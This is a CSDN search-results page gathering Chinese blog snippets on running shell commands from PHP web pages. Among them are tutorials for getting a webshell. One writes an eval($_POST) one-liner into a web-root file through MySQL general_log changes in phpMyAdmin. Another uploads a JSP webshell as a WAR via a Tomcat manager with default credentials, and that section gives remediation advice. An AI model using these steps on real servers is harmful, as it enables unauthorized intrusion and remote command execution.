php web页面执行shell_web 页面打印shell - CSDN
精华内容
参与话题
  • 大神们,求救! SvnUpdate.php代码: <?php set_time_limit(0); ... ?...time="$(date +"%Y%m%d-%H...3、如果把update 换成checkout 或者是 export ,Linux终端和web页面都能正常执行。。 会是什么原因呢?排查了一天了。
  • web页面中加入shell脚本控制台

    千次阅读 2019-06-14 03:18:41
    2019独角兽企业重金招聘Python工程师标准>>> ...

    在web页面中加入shell脚本控制台,大概是如何实现,谢谢

     

    cuihuanhuan 2016年07月13日提问 · 2016年07月15日更新

    问题对人有帮助,内容完整,我也想知道答案2问题没有实际价值,缺少关键内容,没有改进余地

    https://github.com/nickola/web-console/releases/

    bVy88Y

    在web中加入shell脚本控制台的

    我大致知道后台的情况了,但是这个界面如何实现,而且执行命令后的数据显示的格式都和linux中的控制台类似的格式

    查看全部 4 个回答

    答案对人有帮助,有参考价值0答案没帮助,是错误的答案,答非所问

    web中的shell并不是真正的shell,通过后端处理接受命令并过滤,再使用php中的exec调用
    界面实现:
    1.前端绘制
    2.flash动画

    benhuang1024653 声望

    推荐答案

    答案对人有帮助,有参考价值3答案没帮助,是错误的答案,答非所问


    已采纳

    https://github.com/nickola/web-console/blob/master/src/webconsole.main.php#L9-L32

    这个库封装的是 http://php.net/manual/zh/function.proc-open.php

    针对题主的更新:

    terminal的实现使用的是 https://github.com/jcubic/jquery.terminal

    转载于:https://my.oschina.net/yonghan/blog/863231

    展开全文
  • php执行shell,返回空

    万次阅读 2013-09-17 11:25:36
    问题:以下shell脚本在 www 用户下执行 sudo /usr/local/webserver/nginx/sbin/nginx -t 是有返回结果的,但用http://localhost/nginx.php?act=test 访问是看不到返回值,shell指令都没执行,safe-mode 是off的...

    问题:以下shell脚本在 www 用户下执行 sudo /usr/local/webserver/nginx/sbin/nginx -t 是有返回结果的,但用http://localhost/nginx.php?act=test 访问是看不到返回值,shell指令都没执行,safe-mode 是off的,不知为何,请教高人了?
    nginx.php代码如下:
    <?php
    if(isset($_GET['act'])&&!empty($_GET['act'])){
      if($_GET['act']=='test'){
         $message=shell_exec("sudo /usr/local/webserver/nginx/sbin/nginx -t");
         echo "测试结果:".$message;
      }elseif($_GET['act']=='restart'){
         $message=shell_exec("sudo /usr/local/webserver/nginx/sbin/nginx -s reload")
    ;
         echo "重启结果:".$message;
      }
    }else{
      header("Status: 404 Not Found");
    }
    ?>


    回复:我一开始也为这个问题迷惑不解,为何 php cgi以www用户执行sudo ls -al / 命令就可以正常输出,而执行

    sudo /usr/local/webserver/nginx/sbin/nginx -t 却没有输出?

    没有任何输出,导致我们无法跟踪错误的原因,那么,使用Linux标准输出重定向,看看有无输出,我的php代码是(设置/wwwroot/log.txt权限为777):
    /wwwroot/index.php
    <?php
    $s = shell_exec("/usr/bin/sudo /home/nginx/sbin/nginx -t >/wwwroot/log.txt");
    echo $s;

    请求http://localhost/index.php, 发现log.txt文件是空白的,即没有正常输出,那说明有可能发生了错误,为此,我再尝试使用Linux的标准错误输出重定向:
    $s = shell_exec("/usr/bin/sudo /home/nginx/sbin/nginx -t 2>/wwwroot/log.txt");

    注意重定向符号前的2

    再请求index.php 这时,在log.txt中记录了详细的错误:
    sudo: sorry, you must have a tty to run sudo

    这个错误我没见过,大致意思说,当执行sudo时,必须要从终端登录(可能nginx本身的一些限制)

    google搜索这个错误提示, 解决办法也很简单:
    注释掉 /etc/sudoers中 ‘Defaults requiretty’ 这个就行,即前面加#

    按这个办法处理,浏览器仍然没有任何输出,我的猜测:可能是nginx启动程序输出目标是终端,那么折衷的办法就是使用输出重定向了,所以,改造的代码如下:
    index.php
    <?php
    $trace="/wwwroot/log.txt";

    if(!is_writable($trace) || !is_readable($trace)) {
        exit("$trace must readable and writable");
    }

    file_put_contents($trace,'');

    echo `/usr/bin/sudo /home/nginx/sbin/nginx -t >$trace 2>&1`;

    echo `top -b -n 1`;
    echo file_get_contents($trace);


    这是通过简接方式来观察输出的,类似这个现象的,还有使用top命令查看系统负载,top命令需要在终端窗口中执行,使用php执行shell_exec("top -n 1"),给出的错误就是TERM environment variable not set. 解决办法就是使用-b参数执行top, 即shell_exec("top -b  -n 1")

    如果你有更好的方法,欢迎一起探讨,如果实验成功,也就可以通过web页面控制nginx了。
    展开全文
  • phpmyadmin新姿势getshell

    千次阅读 2019-02-15 15:09:02
    百度百科:phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要...

    百度百科:phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。

    通俗的讲 其作用就是可以在web页面方便的操作数据库。

     

    当我们得到一个站点的phpmyadmin页面时,下一步要做的就是getshell。

    可以通过写shell进行提权,而我们需要满足以下条件:

    1.数据库root权限

    2.知道网站的物理路径

    3.数据库有写权限

    通过  select '<?php eval($_POST=[123];)?>' INTO OUTFILE '网站物理路径' 写入shell 

    本文主要讲的是在条件3不满足的情况下成功getshell。

     利用条件:MySQL 5.0+

    MySQL 5.0+的版本会自动创建日志文件,那么在服务运行的情况下修改全局变量也是可以变动文件位置的,但是必须要对生成日志的目录有可读可写的权限。

    (Linux环境下可能会比较苛刻,因为站点目录是一个用户,MySQL是另外一个用户,权限管控较为严格,主要取决于权限配置是否得当)

     

    首先我们测试站点是否有写权限

    执行sql语句               SHOW VARIABLES LIKE 'secure_file_priv'

    sql语句 SHOW VARIABLES LIKE 'secure_file_priv'  进行查询 查找secure_file_priv

     

    secure-file-priv特性
    secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。

    • 当secure_file_priv的值为null ,表示限制mysql 不允许导入|导出

    • 当secure_file_priv的值为/tmp/ ,表示限制mysql 的导入|导出只能发生在/tmp/目录下

    • 当secure_file_priv的值没有具体值时,表示不对mysql 的导入|导出做限制

    可以在mysql-ini文件中设置其属性

    经测试,我们没有写权限

     

    然后再介绍两个MySQL全局变量(general_log、general_log file

    1. general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
    2. general log file 指的是日志的保存路径。

     

    我们可以通过将一句话木马写入mysql日志中然后移动mysql日志路径到网站目录下实现getshell

    执行sql语句   SHOW VARIABLES LIKE 'general_log%'  进行模糊查询

    日志默认关闭

    我们执行sql语句    

    set global general_log = "ON";     #开启日志
    SET global general_log_file='网站下物理路径';  #更换日志路径

     

    成功创建   

     

    然后执行特殊的查询语句

    select  '<?php eval($_POST[aaa]);?>'

    我们进入112233.php进行验证,成功写入shell

     

    最后进行菜刀连接,获得站点webshell

     

    参考链接:https://www.freebuf.com/column/173672.html

     

    展开全文
  • Tomcat manager 管理界面GetShell

    千次阅读 2016-08-08 14:27:35
    Tomcat manager 管理界面 getshell 关于Apache和Tomcat的基础知识我这里不做详细叙述咯。。。 0x00【课前小菜】 1、Apache是web服务器,html容器,可通过插件支持php; 2、Tomcat是应用(java)服务器,jsp/...

    Tomcat manager 管理界面 getshell

    关于Apache和Tomcat的基础知识我这里不做详细叙述咯。。。

    0x00【课前小菜】

    1Apacheweb服务器,html容器,可通过插件支持php

    2Tomcat是应用(java)服务器,jsp/servlet容器,用于发布jsp以及java的;

    3Apache可以单方向的访问Tomcat的资源;

    4Tomcat manager/html弱口令管理界面 (tomcat---tomcatadmin--admin

    5War包一般是进行Web开发时一个网站Project下的所有代码,包括前台HTML/CSS/JS代码,以及Java的代码。当开发人员开发完毕时,就会将源码打包给测试人员测试,测试完后若要发布则也会打包成War包进行发布。War包可以放在Tomcat下的webapps或word目录,当Tomcat服务器启东市,War包也会随之解压后走动部署。

    0x01【课上消化】

    1、登录 http://10.22.66.6:8080/manager/html

    用户名和密码:tomact  tomact


    zipzip.jsp  =========zipzip.zip ========zipzip.war

                压缩             修改压缩包后缀

     

    注:这里需要说明一下,压缩的时候.rar格式是不能上传成功的。。。


    上传成功后会自动生成一个与压缩包同名的文件。

    2、访问该刚上传的文件:http://10.22.66.6:8080/zipzip/zipzip.jsp


    3输入密码“admin”回车,即可访问通过webshell得到服务器权限。

    服务器的一些信息:


    执行命令:


    文件操作:


    0x03【修补漏洞】

    (1)漏洞根源

    Tomcat漏洞是由于tomcat-users.xml文件引起的。该文件保存了Tomcat后台登录的用户和密码,并且在默认状态下成功的登录者获得的是manager权限即管理员权限。下面是默认状态下的tomcat-users.xml文件的部分内容:

    我的路径: /opt/apache-tomcat-8.5.4/conf/tomcat-users.xml

     

    (2)漏洞修补

    A.改用户名和密码

    B.修改权限。

    <user username="tomcat" password="tomcat" roles="manager-gui"/>

    去掉roles属性里的manager,然后重启tomcat。因为tomcat重启时会重新加载配置文件。


    JSP大马文件有需要的自己去github上下载吧!!!


    展开全文
  • [web安全] 代码注入(命令注入)

    万次阅读 2015-08-19 09:56:46
    PHP,JSP的动态include(文件包含漏洞)导致的代码执行,都可以算是一种代码注入。 一、代码注入 $myvar = "varname"; $x = $_GET['arg']; eval("\$myvar = $x;");攻击者可以通过如下Payload实施代码注入: /index...
  • Webshell

    千次阅读 2019-08-25 20:14:31
    webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般是被网站管理员用于网站管理、故...
  • 手动漏洞挖掘 即扫描后,如何对发现的漏洞告警进行验证。 #默认安装 流传linux操作系统比windows系统安全的说法,是因为windows系统默认安装后,会开放很多服务...安装在web服务器中的web接口,专门用来管理MySQL数
  • 在进行sqli(sql injection)-low级别的测试的时候,利用sqlmap进行注入,加上–os-shell参数获取shell(即系统下的命令行,windows下的cmd,linux下的terminal),发现不能执行。 最后总是报这样的错,unable to ...
  • 这个也可以算是,统计web页面的slowpage 慢访问页面,象mysql slowquery 当服务器压力比较大,跑起来很费力时候。我们经常做站点页面优化,会去查找那些页面访问次数比较多,而且比较费时。 找到那些访问次数...
  • 简单地说,phpMyAdmin是安装在Web服务器上的接口界面,主要用于使用php来管理安装在服务器上的后台数据库。在老的版本中,若管理员没有对相应配置信息进行处理的话就会导致漏洞的存在。在dvwa中phpMyAdmin的默认安装...
  • ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,由于其简单易用,很多cms都基于该框架改写。然而 Thinkphp在缓存使用却存在缺陷,生成缓存时,Thinkphp会将数据序列化存进一个php文件,这就产生了很大...
  • LuCI实现启动应用程序等脚本命令

    千次阅读 2014-01-20 18:52:19
    若是纯粹的php代码或者html表单对我来说是小菜一叠,但是面对这openWrt这个说是为了方便实现web配置页面的LuCI,我简直毫无办法。  也许你发现我连中文都有英文的味道了,不是我故意这样子,是因为查阅了很多的英文
  • [web安全] 文件包含漏洞

    万次阅读 2015-09-10 11:21:23
    严格来说,文件包含漏洞是“代码注入”的一种。 “代码注入”的典型代表就是文件包含(File Inclusion)。文件包含可能会出现在JSP、PHP、ASP等语言中。 PHP常见的导致文件包含的函数如下:include(),include_once()...
  • WEBSHELL 攻击

    千次阅读 2018-06-07 18:31:03
    webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常...顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义...
  •  在做web应用的时候,我们经常会遇到在web调用本地应用程序的问题,例如在web中点击一个按钮,然后打开自己写的或者别人的应用程序。上网比较留意的同学应该会发现,想qq客服,淘宝的阿里旺旺客服都会有这样的...
  • Metasploit(后渗透攻击:web后门)

    千次阅读 2018-12-10 22:19:03
    web后门泛指webshell,其实就是一段网页代码,包括ASP. ASP.NET. PHP. JSP. 代码等。由于这些代码都运行在服务器端,攻击者通过这段精心设计的代码,在服务器端进行一些危险的操作获得某些敏感的技术信息,或者通过...
  • 渗透测试之靶机试炼(一)

    千次阅读 2019-01-10 14:32:22
  • 关于js拿shell的尝试

    千次阅读 2020-01-26 15:08:48
    以前在测试一个网站的时候,大佬提供了一个拿shell的思路,通过js拿到了shell。 当时的情况是这样的,首页为*****/bin/home.php,通过弱口令进入后台,后台所有上传等可以拿shell的路都被阻止了,当时有一个可以控制...
  • 搭建nginx+php+mysql的环境

    千次阅读 2013-10-04 20:59:57
    最简单、流行的是nginx + mysql,因为php 调用shell 、python 脚本 比较方便;现在淘宝的定制化tengine已经开源;可以采用tengine;所以计划采用tengine+php+myql搭建一个简单的web服务器:  1. 按照包: ...
1 2 3 4 5 ... 20
收藏数 21,005
精华内容 8,402
关键字:

php web页面执行shell